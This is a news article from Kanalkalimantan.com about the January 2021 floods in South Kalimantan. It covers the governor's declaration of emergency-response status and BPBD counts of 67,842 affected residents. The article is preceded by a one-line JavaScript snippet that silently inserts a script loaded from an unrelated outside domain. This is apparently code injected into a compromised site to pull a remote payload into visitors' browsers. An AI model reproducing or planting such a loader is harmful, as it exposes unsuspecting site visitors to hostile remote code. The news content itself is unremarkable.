(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalimantan Selatan (Kalsel) Sahbirin Noor akhirnya menyatakan peningkatan status Siaga Darurat menjadi Tanggap Darurat terkait banjir di sejumlah kabupaten/kota. Langkah tersebut menyikapi makin luasnya dampak musibah banjir terhadap warga.
Hal itu berdasarkan laporan kejadian bencana di 13 kabupaten/kota yang memiliki resiko tinggi terhadap bencana banjir, tanah longsor, angin puting beliung ,dan gelombang pasang. Ini dikhawatirkannya akan berdampak pada terganggunya aktivitas ekonomi, sosial dan kesehatan masyarakat.
“Atas nama Pemerintah Provinsi Kalimantan Selatan dengan ini menyatakan bahwa kejadian dimaksud sebagai bencana alam. Dengan ini menetapkan dan meningkatkan Status Siaga Darurat Bencana Banjir, Tanah Longsor, Angin Puting Beliung dan Gelombang Pasang menjadi Status Tanggap Darurat,” katanya, Jumat (15/1/2021).
Keputusan penetapan status tanggap darurat ini disampaikan melalui Surat Pernyataan Nomor : 360/038/Bpbd/2021 tertanggal 14 Januari 2021. Melalui surat tersebut, Gubernur menginstruksikan pihak-pihak terkait kebencanaan segera melakukan langkah-langkah nyata untuk penanggulangan bencana yang akan dikoordinir oleh Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalsel.
Di sisi lain, Plt Kepala BPBD Provinsi Kalsel Mujiyat mengatakan keluarnya Status Tanggap Darurat oleh gubernur, sebutnya, menindaklanjuti surat pernyataan dari Bupati Kabupaten Banjar dan Keputusan Bupati Kabupaten Tanah Laut yang telah menetapkan daerah menjadi Tanggap Darurat dari Siaga Darurat.
“Dasar kita pemerintah provinsi menetapkan Tanggap Darurat apabila ada dua kabupaten/kota menetapkan Tanggap Darurat,” tegasnya.
Meningkatnya intensitas curah hujan sejak beberapa hari terakhir, mengakibatkan banjir hampir setiap wilayah Kabupaten Kota di provinsi Kalimantan Selatan. Ini bukan kali pertama, namun rentetan peristiwa pada awal 2021, disebut-sebut sebagai bencana banjir terparah dalam kurun satu dekade.
Badan Penanggulangan Bencana Daerah (BPBD) merilis jumlah terkini warga yang terdampak banjir di Kalsel. Rekapitulasi data harian hingga per tanggal 14 Januari, mencatatkan ada sebanyak 67.842 jiwa yang terdampak dari total 57 peristiwa banjir sejak awal tahun. Khusus untuk bangunan rumah warga yang terdampak sebanyak 19.452 unit.
Akumulatif jumlah warga terdampak banjir ini masih didominasi dari Kabupaten Tanah Laut, dengan jumlah sebanyak 34.431 jiwa. Lalu, disusul Kabupaten Banjar yang tercatat sebanyak 25.601 jiwa. Sedangkan, sisanya berasal Kota Banjarbaru, Kabupaten Tabalong, Kabupaten Tapin, dan sekitarnya.
Faktanya, jumlah warga Kalsel yang terdampak banjir pada Kamis ini mengalami lonjakan tiga kali lipat dari laporan data beberapa hari sebelumnya. Selasa (12/1/2021) kemarin, pihak BPBD masih mencatat sebanyak 21.506 jiwa yang terdampak.
Melonjaknya jumlah warga terdampak di Kalsel, bersamaan dengan munculnya musibah banjir di beberapa wilayah baru. Yakni, di Kabupaten Hulu Sungai Selatan (HSS) dan Kabupaten Balangan. Faktor lainnya, lantaran semakin parahnya kondisi di wilayah yang lebih dulu dilanda banjir.(Kanalkalimantan.com/putra)
Reporter: Putra
Editor: Cell
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.